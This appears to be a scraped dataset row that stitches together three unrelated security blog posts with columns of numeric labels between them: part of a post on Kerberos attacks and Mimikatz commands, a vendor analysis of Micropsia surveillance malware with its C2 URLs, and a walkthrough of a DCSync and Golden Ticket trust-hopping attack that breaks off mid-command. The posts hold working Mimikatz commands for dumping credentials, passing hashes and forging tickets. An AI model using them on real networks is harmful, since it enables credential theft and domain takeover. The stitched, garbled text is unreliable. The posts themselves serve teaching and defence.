Domain Controllers and a handful of Admin servers (don\xe2\x80\x99t let other admins log on to these servers) Delegate all other rights to custom admin groups. This greatly reduces the ability of an attacker to gain access to a Domain Controller\xe2\x80\x99s Active Directory database. If the attacker can\xe2\x80\x99t access the AD database (ntds.dit file), they can\xe2\x80\x99t get the KRBTGT account NTLM password hash. Configuring Active Directory Kerberos to only allow AES may prevent Golden Tickets from being created. Another mitigation option is Microsoft KB2871997 which back-ports some of the enhanced security in Windows 8.1 and Windows 2012 R2. \xc2 Kerberos Silver Ticket The Kerberos Silver Ticket is a valid Ticket Granting Service (TGS) Kerberos ticket since it is encrypted/signed by the service account configured with a Service Principal Name for each server the Kerberos-authenticating service runs on. While a Golden ticket is encrypted/signed with the KRBTGT, a Silver Ticket is encrypted/signed by the service account (computer account credential extracted from the computer\xe2\x80\x99s local SAM or service account credential). Most services don\xe2\x80\x99t validate the PAC (by sending the PAC checksum to the Domain Controller for PAC validation), so a valid TGS generated with the service account password hash can include a PAC that is entirely fictitious \xe2\x80\x93 even claiming the user is a Domain Admin without challenge or correction. Since service tickets are identical in format to TGTs albeit with a different service name, all you need to do is specify a different service name and use the RC4 (NTLM hash) of the account password (either the computer account for default services or the actual account) and you can now issue service tickets for the requested service. \xc2 Note: \xc2 You can also use the AES keys if you happen to have them instead of the NTLM key and it will still work \xf0\x9f\x98\x89 It is worth noting, that services like MSSQL, Sharepoint, etc will only allow you to play with those services. \xc2 The computer account will allow access to CIFS, service creation, and a whole host of other activities on the targeted computer. \xc2 You can leverage the computer account into a shell with PSEXEC and you will be running as system on that particular computer. \xc2 Lateral movement is then a matter of doing whatever you need to do from there \xf0\x9f\x99\x82 http://passing-the-hash.blogspot.com/2014/09/pac-validation-20-minute-rule-and.html \xc2 Service Account Password Cracking by attacking the Kerberos Session Ticket (TGS) NOTE: This attack does NOT require hacking tools on the network since it can be performed offline. The Kerberos session ticket (TGS) has a component that is encrypted with the service\xe2\x80\x99s (either computer account or service account) password hash. The TGS for the service is generated and delivered to the user after the user\xe2\x80\x99s TGT is presented to the KDC service on the Domain Controller. Since the service account\xe2\x80\x99s password hash is used to encrypt the server component, it is possible to request the service TGS and perform an offline password attack. Only normal Kerberos traffic is observed on the wire: the TGT is delivered to the Domain Controller along with a TGS request and response. At this point, no further network traffic is required. Service accounts typically have weak passwords and are rarely changed making these excellent targets. Computer account passwords are changed about every 30 days and are extremely complex making them virtually uncrackable. Finding interesting service accounts is as simple as sending a Service Principal Name query to the Global Catalog. Service accounts often have elevated rights in Active Directory and since only a Kerberos service ticket (TGS) is required to attack the service account\xe2\x80\x99s password, getting a TGS and saving it to another system to crack the password means this is a difficult attack to stop. Mitigation: Ensure all service accounts have long (>25 characters), complex passwords and only have the exact rights required (ensure the principle of least privilege). Tim Medin (@timmedin) describes this attack at his \xe2\x80\x9cAttacking Microsoft Kerberos: Kicking the Guard Dog of Hades\xe2\x80\x9d presentation at DerbyCon 2014. [Slides:\xc2 https://www.dropbox.com/s/1j6v6zbtsdg1kam/Kerberoast.pdf?dl=0 ] In his DerbyCon2014 presentation, Tim Medin provided PowerShell code examples for requesting a TGS. I have modified it slightly to add the $SPN variable. $SPN = \xe2\x80\x9cHTTP/sharepoint.adsecurity.org\xe2\x80\x9d Add-Type -AssemblyNAme System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList \xe2\x80\x9c$SPN\xe2\x80\x9d \xc2 Pass the Cache (*nix systems) Linux/Unix systems (Mac OSX) store Kerberos credentials in a cache file. As of 11/23/2014, Mimikatz supports extracting the credential data for passing to Active Directory in a similar manner to the Pass the Hash/ Pass the Ticket method. Mimikatz Commands: logonpasswords: mimikatz # sekurlsa::logonpasswords) Extracts passwords in memory pth (pass the hash): mimikatz # sekurlsa::pth /user:Administrateur /domain:chocolate.local /ntlm:cc36cf7a8514893efccd332446158b1a A fake identity is created and the faske identitt\xe2\x80\x99s NTLM hash is replaced with the real one. \xe2\x80\x9cntlm hash is mandatory on XP/2003/Vista/2008 and before 7/2008r2/8/2012 kb2871997 (AES not available or replaceable)\xe2\x80\x9d \xe2\x80\x9cAES keys can be replaced only on 8.1/2012r2 or 7/2008r2/8/2012 with kb2871997, in this case you can avoid ntlm hash.\xe2\x80\x9d ptt (pass the ticket): mimikatz # kerberos::ptt Enables Kerberos ticket (TGT or TGS) injection into the current session. tickets:\xc2 mimikatz # sekurlsa::tickets /export Identifies all session Kerberos tickets and lists/exports them. sekurlsa pulls the Kerberos data from memory and can access all user session tickets on the computer. ekeys:\xc2 mimikatz # sekurlsa::ekeys Extract the Kerberos ekeys from memory. Provides theft of a user account until the password is changed (which may be never for a Smartcard/PKI user). dpapi:\xc2 mimikatz # sekurlsa::dpapi minidump: mimikatz # sekurlsa::minidump lsass.dmp Perform a minidump of the LSASS process and extract credential data from the lsass.dmp. A minidump can be saved off the computer for credential extraction later, but the major version of Windows must match (you can\xe2\x80\x99t open the dump file from Windows 2012 on a Windows 2008 system). kerberos: mimikatz # sekurlsa::kerberos \xc2 Extracts the smartcad/PIV PIN from memory (cached in LSASS when using a smartcard). debug: mimikatz # privilege::debug Sets debug mode for current mimikatz session enabling LSASS access. lsadump cache: (requires token::elevate to be SYSTEM) mimikatz # lsadump::cache Dumps cached Windows domain credentials from HKEY_LOCAL_MACHINE\\SECURITY\\Cache (accessible SYSTEM). \xc2 References: Benjamin Delpy\xe2\x80\x99s blog (Google Translate English translated version) Mimikatz GitHub repository Mimikatz Github wiki Mimikatz 2 Presentation Slides (Benjamin Delpy, July 2014) All Mimikatz Presentation resources on blog.gentilkiwi.com Excel chart on OneDrive that shows what type of credential data is available in memory (LSASS), including on Windows 8.1 and Windows 2012 R2 which have enhanced protection mechanisms. PAC Validation issue aka the Silver Ticket description from the Passing the Hash Blog \xc2 \xc2 (Visited 50,675 times, 13 visits today) GoldenTicket, hackertool, Invoke-Mimikatz, Kerberos, mimikatz, OverPassTheHash, PassTheCache, PassTheHash, PassTheTicket, SilverTicket, whatismimiatz, Windows, WindowsHacking Sean Metcalf I improve security for enterprises around the world working for TrimarcSecurity.com Read the About page (top left) for information about me. :) https://adsecurity.org/?page_id=8 1 comment Paul on November 24, 2014 at 5:03 pm # Great post that summarises the weaknesses in Kerberos and how pen testers as well as attackers can compromise AD either directly or using Mimikatz. Would like to hear how people are attempting to mitigate the risk as much as possible and detect compromise Comments have been disabled. Recent Posts Slides Posted for Black Hat USA 2019 Talk: Attacking & Defending the Microsoft Cloud AD Reading: Windows Server 2019 Active Directory Features There\xe2\x80\x99s Something About Service Accounts Mitigating Exchange Permission Paths to Domain Admins in Active Directory From DNSAdmins to Domain Admin, When DNSAdmins is More than Just DNS Administration Trimarc Active Directory Security Services Have concerns about your Active Directory environment? Trimarc helps enterprises improve their security posture. Find out how... TrimarcSecurity.com Popular Posts Attack Methods for Gaining Domain Admin Rights in\xe2\x80\xa6 PowerShell Encoding & Decoding (Base64) Securing Windows Workstations: Developing a Secure Baseline Securing Domain Controllers to Improve Active\xe2\x80\xa6 Finding Passwords in SYSVOL & Exploiting Group\xe2\x80\xa6 The Most Common Active Directory Security Issues and\xe2\x80\xa6 Kerberos & KRBTGT: Active Directory\xe2\x80\x99s\xe2\x80\xa6 Building an Effective Active Directory Lab\xe2\x80\xa6 Microsoft Local Administrator Password Solution (LAPS) Detecting Offensive PowerShell Attack Tools Categories ActiveDirectorySecurity Apple Security Cloud Security Continuing Education Entertainment Exploit Hacking Hardware Security Hypervisor Security Linux/Unix Security Malware Microsoft Security Mitigation Network/System Security PowerShell RealWorld Security Security Conference Presentation/Video Security Recommendation Technical Article Technical Reading Technical Reference TheCloud Vulnerability Tags ActiveDirectory Active Directory ActiveDirectoryAttack Active Directory Security ActiveDirectorySecurity ADReading ADSecurity AD Security DCSync DEFCON DomainController EMET5 GoldenTicket HyperV Invoke-Mimikatz KB3011780 KDC Kerberos KerberosHacking KRBTGT LAPS LSASS MCM MicrosoftEMET MicrosoftWindows mimikatz MS14068 PassTheHash PowerShell PowerShellCode PowerShellHacking PowerShellv5 PowerSploit Presentation Security SIDHistory SilverTicket SneakyADPersistence SPN TGS TGT Windows10 WindowsServer2008R2 WindowsServer2012 WindowsServer2012R2 Copyright Content Disclaimer: This blog and its contents are provided ""AS IS"" with no warranties, and they confer no rights. Script samples are provided for informational purposes only and no guarantee is provided as to functionality or suitability. The views shared on this blog reflect those of the authors and do not represent the views of any companies mentioned. Content Ownership: All content posted here is intellectual work and under the current law, the poster owns the copyright of the article. Terms of Use Copyright \xc2\xa9 2011 - 2017. Content Disclaimer: This blog and its contents are provided ""AS IS"" with no warranties, and they confer no rights. Script samples are provided for informational purposes only and no guarantee is provided as to functionality or suitability. The views shared on this blog reflect those of the authors and do not represent the views of any companies mentioned. Made with by Graphene Themes.","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Radware BlogSUBSCRIBE NOW SEARCH TERM... Micropsia Malware July 25, 2018 \xe2\x80\x94 by Yair Tsarfaty \xe2\x80\x94 5 Since June 2018, the Radware Threat Research team has monitored an ongoing APT against the Palestinian authority, featuring an updated version of the Micropsia malware with an advanced surveillance toolkit. This advanced persistent threat began in March 2017 and was reported by Cisco Talos and Check Point Software Technologies, infecting hundreds of machines thus far. The latest Micropsia malware version analyzed in Radware\xe2\x80\x99s research lab is the most sophisticated tool used by this APT group. It includes advanced surveillance features such as microphone recording, keylogging and document stealing from USB flash drives. It also resembles the old versions\xe2\x80\x99 C2 communication behavior by including references to famous TV shows and characters. While the campaign and victims were selectively targeted, some instances contaminated machines in other countries as well (see below). Infection Process Attackers gathered intelligence and used social engineering to select their victims. They have sent spear phishing emails to email addresses of selected personas. The email contains an attached file that looked like a report from a known news agency with a malicious executable downloaded and activated in the background. Malware Capabilities Micropsia comes with an impressive arsenal of advanced surveillance features, allowing it to closely track the victim\xe2\x80\x99s activity and control the victim\xe2\x80\x99s operating system. Currently, the following capabilities exist in the analyzed binary: Microphone recording Document stealing from connected USB flash drives Screen capturing Keylogging Document stealing from hard drive Scanning all drives \xe2\x80\x93 full directory listing without filters Get files by specific path Download and execute an arbitrary executable Update malware executable Microphone Recording The microphone recording capability is considered an advanced surveillance feature, which is a rare occurrence among widespread malware. That said, it might become common when initiating an APT attack. While the malware\xe2\x80\x99s screen capturing and keylogging capabilities are set to \xe2\x80\x98on\xe2\x80\x99 by default, the recording feature requires an activation command from the C&C at intervals defined by the operator. Once activated, Micropsia begins recording using Win32 MCI (Media Control Interface), which provides a generic interface to nearly every kind of multimedia device. Initiating a new recording or stopping a running one is accomplished by calling Winmm.mciSendString API. That controls the multimedia device. Micropsia operators control the recording duration via Delphi timers that allow it to perform a periodic recording. A new recording is initiated by executing the above API using the following string commands. In the same way, stopping the recording and saving it to a file is achieved by executing the following. USB Flash Drives for Document Stealing Controlled by Micropsia operators, the malware is able to register to an event of USB volume insertion to detect new connected USB flash drives. This functionality is detailed in an old blog post. Once an event is triggered, Micropsia executes an RAR tool to recursively archive files based on a predefined list of file extensions (*.xls, *.xlsx, *.csv, *.odt, *.doc, *.docx, *.ppt, *.pptx, *.pdf, *.mdb, *.accdb, *.accde, *.txt). [You might also like: Stresspaint Malware Campaign Targeting Facebook Credentials] Screen Capturing and Keylogging Upon execution, the Micropsia malware takes screenshots every 90 seconds by calling to Gdi32.BitBlt API. This functionality is implemented by a Delphi timer which runs infinitely. Screenshots are saved as unencrypted files in JPEG format with a specific file name that contains the current timestamp (yyyy-mm-dd hh-nn-ss) with the hardcoded extension .his. The screen capturing function contains incriminating strings which lead us to assume that this code was copied from a snippet published in delphimaster.ru forum. The keylogging module also starts automatically by recording every keystroke using the user32.GetKeyState API. It also deals with clipboard data when malware detects a key press combination of Ctrl+C. This module writes its output to a log file that also contains the current timestamp (yyyy-mm-dd hh-nn-ss) with the extension .slog. Scan Drive and Fetch Files Micropsia is able to perform a recursive directory listing on-demand for all volume drives available on the victim\xe2\x80\x99s machine. It checks whether a volume drive exists by simply iterating all possible letters (from A to Z) and testing whether this directory exists. Malware operators are also able to fetch specific files from victim file system by their path. Storage Management Most of the malware capabilities mentioned above have outputs written to the file system which are later uploaded to the C2 server. Each module writes its own output in a different format, but surprisingly in a non-compressed and non-encrypted fashion. Micropsia\xe2\x80\x99s developers decided to solve these issues by implementing an archiver component that executes the WinRAR tool. The malware first looks for an already installed WinRAR tool on the victim\xe2\x80\x99s machine, searching in specific locations. In the event a WinRAR tool is not found, Micropsia drops the RAR tool found in its Windows Portable Executable (PE) resource section to the file system. Later, implemented as an infinite Delphi-based timer, every 15 minutes it creates RAR archives for each output type using the following command line: RAR archives are encrypted using a hardcoded password (-hp switch) calculated during the malware initialization stage which is the result of MD5 on a hardcoded string (\xe2\x80\x98q5e9lqp\xe2\x80\x99) which may be different in each malware campaign. In addition, the program uses a -df command line switch that deletes files after they are moved to the archive. Later, RAR archives are uploaded to the C2 server and afterwards they are deleted from the disk. Next, the malware creates a new hidden directory with a hardcoded name \xe2\x80\x9cRecovery\xe2\x80\x9d under the Common AppData shell folder (C:\\ProgramData\\Recovery in Windows Vista and above). This directory is used to store all components\xe2\x80\x99 outputs in a dedicated sub folder for each. [You might also like: The Mikrotik RouterOS-Based Botnet] C2 Communication Malware C2 servers are stored hardcoded in binary and cannot be changed by operators dynamically, unless the malware\xe2\x80\x99s executable binary is updated. In our binary, there are three hardcoded HTTPS URLs used for C2 communication. These C2 servers\xe2\x80\x99 addresses were not seen in previous versions. https//max-mayfield.com/api/white_walkers/ https//young-spencer.com/api/white_walkers/ https//192.169.6.59/api/white_walkers/ Besides encryption supplied by SSL, the hackers did not add an extra layer of encryption. Modern malware tends to encrypt its data to evade detection and make the binary research harder. Thus, communication can be monitored easily in a research environment using SSL termination proxy. Malware sets the User Agent string (hard-coded) for all of its communication to mimic Googlebot. Bot Registration As mentioned by the Cisco Talos Intelligence Group, after executing the Micropsia registers itself against the C2 server. As part of the bot registration phase, the malware creates a POST request that contains information of the bot ID (encoded in base64 contains OS hostname and username), OS version string, malware version (v4.0.0 in our case) and installed anti-virus information extracted using WMI queries. The C2 server responds with a JSON that confirms the bot registration and may instruct the malware to take additional steps. The JSON response contains the following keys: Supported C2 Commands Micropsia performs periodic GET requests to /api/white_walkers//requests. The C2 server responds with a JSON that contains keys instructing the malware to execute the next steps. Not all key names that appear in the JSON response have a corresponding logic in the analyzed binary. The analyzed binary lists the supported C2 command names and their meaning. Upload Stolen Information Every two minutes the malware collects all RAR files of stolen information and uploads them to the C2 server using the POST method to the relevant URL based on the storage type. Malware Protection Attacking groups continuously create new malware and mutations with additional capabilities. Radware\xe2\x80\x99s Malware Research Group will keep monitoring and analyzing new threats to provide protection to Radware customers. Read \xe2\x80\x9cFive Ways Modern Malware Defeats Your Defenses And What You Can Do About It\xe2\x80\x9d to learn more. DOWNLOAD NOW Share this: TwitterLinkedInFacebook Yair Tsarfaty Yair is a security researcher at Radware Research Lab with a decade of experience from the Israeli Intelligence Corps. Passionate about reverse engineering, cloud security and malware analysis. BOTSKEYLOGGINGMALWAREMICROPSIA 5 comments Pingback: Blog BSSI QuickBooks Unexpected Error 5 April 2, 2019 at 8:09 am The issue will not cause any major problem to the working regarding the software but then it fills up the event logs and generates a \xe2\x80\x9cRed\xe2\x80\x9d error, which is annoying. REPLY Apple ID Account Recovery September 2, 2019 at 4:32 am This is awesome post. REPLY healthy lunch ideas September 14, 2019 at 12:46 am First i want to say great post! here iis a excerpt from my recent article that i think you would like: \xe2\x80\x9cHealth is of prime value to everyone. We require to be healthy and balanced, loaded with abundant energy, audio rest, as well as fit and disease free body, which will provide us a feeling of overall well being. In order to be fit and healthy we require to practice healthy and balanced living styles with correct food practices as well as workout. We can not be healthy if we are lazy as well as sluggish. We require to work hard both literally and also emotionally to be fit and healthy. Besides exercise, we likewise need to eat healthy and balanced foods avoiding processed food, that make us sluggish and also dull. If you are over weight as well as obese you will certainly experience health issue. So you need to keep a maximum body weight to be healthy.\xe2\x80\x9d if you want to read more folloow tthe link =] REPLY jhonluke September 16, 2019 at 8:37 am Hi, I\xe2\x80\x99m Jhon luke. I\xe2\x80\x99m a writer living in Newark, New Jersey. I am a fan of technology, music, and writing. I\xe2\x80\x99m also interested in causes and painting. REPLY Leave a Reply Your email address will not be published. Required fields are marked * Comment Name * Email * Website Previous Post SHOULD BUSINESS RISK MITIGATION BE A FACTOR WHEN WE CHOOSE OUR SUPPLIERS AND MANUFACTURERS? Next Post WHAT SHOULD YOU DO WHEN YOUR IDENTITY HAS BEEN COMPROMISED? DDOS HOW TO CHOOSE A CLOUD DDOS SCRUBBING SERVICE August 21, 2019 \xe2\x80\x94 by Eyal Arazi APPLICATION SECURITY THREATS ON APIS AND MOBILE APPLICATIONS August 20, 2019 \xe2\x80\x94 by Pascal Geenens ATTACK TYPES & VECTORS BEHIND THE DISGUISE OF TROJANS August 15, 2019 \xe2\x80\x94 by Radware SECURITY PAST GDPR PREDICTIONS: HAVE THEY COME TO FRUITION? September 17, 2019 \xe2\x80\x94 by David Hobbs ATTACK TYPES & VECTORS DEFACEMENTS: THE DIGITAL GRAFFITI OF THE INTERNET September 12, 2019 \xe2\x80\x94 by Radware SECURITY MEET THE FOUR GENERATIONS OF BOTS September 11, 2019 \xe2\x80\x94 by Radware DDOS 5 STEPS TO PREPARE FOR A DDOS ATTACK September 10, 2019 \xe2\x80\x94 by Eyal Arazi ATTACK MITIGATION 5 SIMPLE BOT MANAGEMENT TECHNIQUES September 5, 2019 \xe2\x80\x94 by Radware SECURITY A BUYER'S GUIDE TO BOT MANAGEMENT September 4, 2019 \xe2\x80\x94 by Ron Winward SECURITY GAMERS BEWARE: CYBER CRIMINALS ARE COMING FOR YOU August 29, 2019 \xe2\x80\x94 by Daniel Smith DDOS THE EMERGENCE OF DENIAL-OF-SERVICE GROUPS August 27, 2019 \xe2\x80\x94 by Radware ATTACK TYPES & VECTORS RANSOMWARE: TO PAY OR NOT TO PAY? August 22, 2019 \xe2\x80\x94 by Radware DDOS HOW TO CHOOSE A CLOUD DDOS SCRUBBING SERVICE August 21, 2019 \xe2\x80\x94 by Eyal Arazi APPLICATION SECURITY THREATS ON APIS AND MOBILE APPLICATIONS August 20, 2019 \xe2\x80\x94 by Pascal Geenens ATTACK TYPES & VECTORS BEHIND THE DISGUISE OF TROJANS August 15, 2019 \xe2\x80\x94 by Radware SECURITY PAST GDPR PREDICTIONS: HAVE THEY COME TO FRUITION? September 17, 2019 \xe2\x80\x94 by David Hobbs ATTACK TYPES & VECTORS DEFACEMENTS: THE DIGITAL GRAFFITI OF THE INTERNET September 12, 2019 \xe2\x80\x94 by Radware SECURITY MEET THE FOUR GENERATIONS OF BOTS September 11, 2019 \xe2\x80\x94 by Radware 1 2 3 4 LEARN MORE ABOUT RADWARE\xe2\x80\x99S PRODUCTS AND SERVICES Application & Network Security Application Delivery & Load Balancing Cloud Services UNDER ATTACK AND NEED EMERGENCY ASSISTANCE? Radware Can Help Stop Cyber-Attacks Now! LEARN BEST PRACTICES FROM OUR LIBRARY OF RESOURCES Read White Papers, Customer Stories and Research \xc2\xa9 Radware Ltd. | 2019 All Rights Reserved. | Privacy Policy | Terms of Use | Legal Notice | Cookie Preferences","1","1","0","1","0","1","1","1","1","1","1","0","0","1","0","1","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","1","0","0","0","0","0","0","1","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","1","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Mimikatz and DCSync and ExtraSids, Oh My \xe2\x80\x93 harmj0y Press ""Enter"" to skip to content harmj0y security at the misfortune of others open menu About Presentations Projects twitter github slack email Sidebar Recent Posts A Case Study in Wagging the Dog: Computer Takeover Kerberoasting Revisited Not A Security Boundary: Breaking Forest Trusts Another Word on Delegation Rubeus \xe2\x80\x93 Now With More Kekeo Archives Archives Select Month February 2019 \xc2 (2) November 2018 \xc2 (1) October 2018 \xc2 (2) September 2018 \xc2 (1) August 2018 \xc2 (1) July 2018 \xc2 (2) April 2018 \xc2 (1) November 2017 \xc2 (1) October 2017 \xc2 (1) September 2017 \xc2 (2) August 2017 \xc2 (1) July 2017 \xc2 (2) June 2017 \xc2 (1) May 2017 \xc2 (1) March 2017 \xc2 (1) January 2017 \xc2 (4) December 2016 \xc2 (1) November 2016 \xc2 (1) October 2016 \xc2 (2) September 2016 \xc2 (1) August 2016 \xc2 (1) July 2016 \xc2 (2) June 2016 \xc2 (3) May 2016 \xc2 (2) April 2016 \xc2 (2) March 2016 \xc2 (4) February 2016 \xc2 (2) January 2016 \xc2 (1) December 2015 \xc2 (4) November 2015 \xc2 (1) October 2015 \xc2 (3) September 2015 \xc2 (2) August 2015 \xc2 (3) July 2015 \xc2 (1) June 2015 \xc2 (1) May 2015 \xc2 (1) April 2015 \xc2 (1) March 2015 \xc2 (1) January 2015 \xc2 (1) December 2014 \xc2 (1) November 2014 \xc2 (2) October 2014 \xc2 (2) September 2014 \xc2 (2) August 2014 \xc2 (1) July 2014 \xc2 (2) June 2014 \xc2 (2) May 2014 \xc2 (2) April 2014 \xc2 (2) March 2014 \xc2 (1) Search Categories ActiveDirectory defense Empire EmPyre informational penetesting Powershell Python redteaming Uncategorized Blogroll bluescreenofjeff.com enigma0x3.net invoke-ir.com wald0.com Twitter My Tweets Mimikatz and DCSync and ExtraSids, Oh My Published September 22, 2015 by harmj0y Edit: Benjamin reached out and corrected me on a few points, which I\xe2\x80\x99ve updated throughout the post. Importantly, with the ExtraSids (/sids) for the injected Golden Ticket, you need to specify\xc2 S-1-5-21domain-516 (\xe2\x80\x9cDomain Controllers\xe2\x80\x9d) and\xc2 S-1-5-9 (\xe2\x80\x9cEnterprise Domain Controllers\xe2\x80\x9d), as well as the SECONDARY$ domain controller SID in order to properly slip by some of the event logging. Benjamin Delpy is constantly adding new features to Mimikatz. In June, he added the ability to include ExtraSids in golden tickets. This was built in coordination with Sean Metcalf\xe2\x80\x98s work on the\xc2 subject, and something I talked about here. Benjamin and\xc2 Vincent Le Toux also recently added the ability to abuse the\xc2 MS-DRSR protocol\xc2 for domain controller replication, in order to recover hashes from a DC\xc2 without code execution. I touched on this briefly in the post detailing Empire\xe2\x80\x99s v1.2 release\xc2 (and in a demonstration video)\xc2 but I wanted to revisit the subject and show how these two new features can be combined into a single attack chain. If you\xe2\x80\x99re interested in Active Directory attacks, be sure to check out Sean\xe2\x80\x99s \xe2\x80\x9cRed vs. Blue: Modern Active Directory Attacks & Defense\xe2\x80\x9d talk at Derbycon, Friday at 3:00pm. I hear he\xe2\x80\x99ll be dropping\xc2 some interesting information applicable to this post :) Sidenote: if you want to compile the newest version of Mimikatz for PowerSploit\xe2\x80\x99s Invoke-Mimikatz, just grab Benjamin\xe2\x80\x99s source code, open it up in Visual Studio, select the \xe2\x80\x9cSecond_Release_PowerShell\xe2\x80\x9d target option and compile for both Win32 and x64. Then transform the resulting powerkatz.dlls to a base64 string using\xc2 base64 -w 0 powerkatz.dll\xc2 in Linux.\xc2 You can now replace the\xc2 $PEBytes32 and\xc2 $PEBytes64 strings at the bottom of Invoke-Mimikatz.ps1. Empire keeps a separately\xc2 updated version of Invoke-Mimikatz with a few additional tweaks. Scenario Let\xe2\x80\x99s say you\xe2\x80\x99re operating in the following example network: You\xc2 land on a machine in the dev.testlab.local\xc2 domain, and there is tight network filtering from here to\xc2 the others in the forest; i.e. you can talk to your SECONDARY.dev.testlab.local domain controller but to few\xc2 machines in other domains. We\xe2\x80\x99ve seen this setup a few times in the field, where an organization keeps the forest root relatively \xe2\x80\x98sparse\xe2\x80\x99 and keeps less trusted subsidiaries/groups in a segmented domain. After some user-hunting\xc2 and some lateral spread, you end up on workstation WINDOWS3 with domain administrator credentials for\xc2 dev.testlab.local. From this point historically, you would often compromise/exfil\xc2 the NTDS.dit of one of DEV\xe2\x80\x99s domain controllers, and then start the process of hopping through the trust mesh. While we were usually successful in cross-domain compromise, this process often took a good a good bit of time and effort. Let\xe2\x80\x99s see how we can use some of these new school techniques to speed up the process. Step 1:\xc2 Enumerate the Forest First let\xe2\x80\x99s do a bit of network and domain situationalf awareness. We can enumerate the current trusts in the forest in a few different ways- my preference is to use PowerView 2.0 and run Get-NetForestDomain\xc2 or Invoke-MapDomainTrust -LDAP to recursively map all trust relationships in the forest: This is also possible through Empire with the\xc2 situational_awareness/network/mapdomaintrusts module. Step 2: DCSync the Child Now let\xe2\x80\x99s extract the krbtgt account hash from a dev.testlab.local domain controller. Instead of having to install an agent, we can now use Mimikatz\xe2\x80\x99 DCSync to extract the hash. One thing to note is that you need to specify \xe2\x80\x9c\\krbtgt\xe2\x80\x9d for the specified user for this to work properly (you can find the domain shortname easily with whoami or other methods).\xc2 In this case we\xe2\x80\x99re using DEV. Here\xe2\x80\x99s how it looks in our environment with Invoke-Mimikatz. Note that you need to use -Command \xe2\x80\x98\xe2\x80\x9dCOMMAND\xe2\x80\x9d\xe2\x80\x98 when running any custom commands through Invoke-Mimikatz (double quotes embedded in single quotes): And here\xe2\x80\x99s how we can execute the same functionality through Empire: One nice note- Empire will now parse the DCSync output and save the output into the credential store: Step 3: ExtraSids to Hop up the Trust Now let\xe2\x80\x99s use this compromised child DC krbtgt hash to compromise the forest root (and therefore the entire\xc2 forest). The demo video showed doing this straight from the same original workstation, but in our scenario we run into a problem: we can\xe2\x80\x99t talk directly to the domain controller for the\xc2 testlab.local root. Happily for us, domain controllers in a forest have to be able to talk to each other for replication and shared authentication, so at a minimum in our scenario, the DC\xc2 for dev.testlab.local\xc2 will have communication open to a DC in\xc2 testlab.local. To hop up the trust, we need a few pieces of information: the krbtgt hash for the child domain (dev.testlab.local),\xc2 which we just extracted with DCSync the SID for dev.testlab.local, also in the DCSync output the name of the target DEV\xc2 user for the ticket In this case it\xe2\x80\x99s going to be SECONDARY$, the name of DEV\xe2\x80\x99s domain controller machine account. More on this shortly. the fully qualified domain name of the forest root (in our PowerView output) the SID of the \xe2\x80\x9cEnterprise Admins\xe2\x80\x9d group of the root edit: the SID of the \xe2\x80\x9cDomain Controllers\xe2\x80\x9d group (S-1-5-21domain-516), the SID of \xe2\x80\x9cEnterprise Domain Controllers\xe2\x80\x9d (S-1-5-9), and the SID of the SECONDARY$ domain controller (which you can get with \xe2\x80\x98Get-NetComputer SECONDARY.dev.testlab.local\xe2\x80\x99 from PowerView), in this case S-1-5-21-4275052721-3205085442-2770241942-1002. To get the FQDN of the forest root, we could use\xc2 PowerView with Get-NetForestDomain or\xc2 Get-NetDomainTrust, or the following one-liner: ([System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest())[0].RootDomain.Name 1 ([System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest())[0].RootDomain.Name Then we need the SID of the forest root. I\xe2\x80\x99m sure there are better ways to do this, but one easy one is to resolve the \xe2\x80\x98krbtgt\xe2\x80\x99 account for the domain: (New-Object System.Security.Principal.NTAccount(""testlab.local"",""krbtgt"")).Translate([System.Security.Principal.SecurityIdentifier]).Value 1 (New-Object System.Security.Principal.NTAccount(""testlab.local"",""krbtgt"")).Translate([System.Security.Principal.SecurityIdentifier]).Value Then we just replace the -502 in the SID with -519 to get our Enterprise Admins SID for\xc2 testlab.local\xc2 (in this case\xc2 S-1-5-21-456218688-4216621462-1491369290-519)\xc2 edit: with the -516 \xe2\x80\x9cDomain Controllers\xe2\x80\x9d SID (in this case\xc2 S-1-5-21-456218688-4216621462-1491369290-516).\xc2 The Mimikatz command\xc2 we\xe2\x80\x99re going to ultimately use to build our trust-hopping ticket is: kerberos::golden /user:SECONDARY$ /krbtgt:8b7c904343e530c4f81c53e8f614caf7 /domain:dev.testlab.local /sid:S-1-5-21-4275052721-3205085442-2770241942 /sids:S-1-5-21-456218688-4216621462-1491369290-519 /ptt Edit: kerberos::golden /user:SECONDARY$ /krbtgt:8b7c904343e530c4f81c53e8f614caf7 /domain:dev.testlab.local /sid:S-1-5-21-4275052721-3205085442-2770241942 /groups:516 /sids:S-1-5-21-456218688-4216621462-1491369290-516,S-1-5-9 /id:S-1-5-21-4275052721-3205085442-2770241942-1002 /ptt 1 2 3 kerberos::golden /user:SECONDARY$ /krbtgt:8b7c904343e530c4f81c53e8f614caf7 /domain:dev.testlab.local 